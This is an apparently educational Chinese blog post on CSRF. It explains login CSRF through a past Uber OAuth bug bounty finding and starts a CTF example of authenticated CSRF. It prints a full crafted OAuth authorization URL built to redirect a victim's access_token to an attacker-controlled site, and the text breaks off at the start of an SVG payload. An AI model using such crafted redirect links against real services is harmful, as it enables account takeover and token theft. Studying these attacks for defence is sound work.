前言
在前端的攻击中,一般活跃在大家视线里的可能都是xss居多,对于csrf这一块正好我也抱着学习的心态,了解到安全顶会有一篇自动化挖掘CSRF漏洞的paper,于是看了看,以下是相关知识分享。
背景
CSRF可以分为两种,一种是authenticated CSRF,一种是login CSRF。
login CSRF
对于login CSRF,这里我们以曾经的价值8000美金的Uber漏洞为例:
在网站中,登录流程机制大致如下:
如果我们将somewhere改为google.com,那么流程将变为:
此时可以发现网站存在重定向的漏洞。如果此处我们将response_type=code改为response_type=token:
由于Oauth请求使用的是code并非access_token,所以此处重定向失败。
那么此处可以引入login CSRF攻击,为oauth2-callback节点提供有效的code值,奇热那么即可将受害者的access_token带出重定向到我们的网站。
那么只要受害者点击链接:
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{攻击者的有效OAuth code}&state=%2F%2f攻击者控制的站点
攻击者即可在网站hackerone.com收到受害者的access_token。
authenticated CSRF
对于authenticated CSRF其实容易理解很多,即在用户登录后的页面里插入evil html,这里的方式可以多样化,例如可以利用xss,插入 HTML iframe tag,或者 self-submitting JavaScript code, 又或是使用XMLHttpRequest JavaScript API等等。
这里可以以一道CTF题目为例:https://xssrf.hackme.inndy.tw/
详细的题解可以参考我这篇文章:https://skysec.top/2018/08/17/xss-ssrf-redis/
这里我们简单提一下:
题目允许攻击者使用xss在发邮件处进行攻击,我们可以发送如下请求:
< svg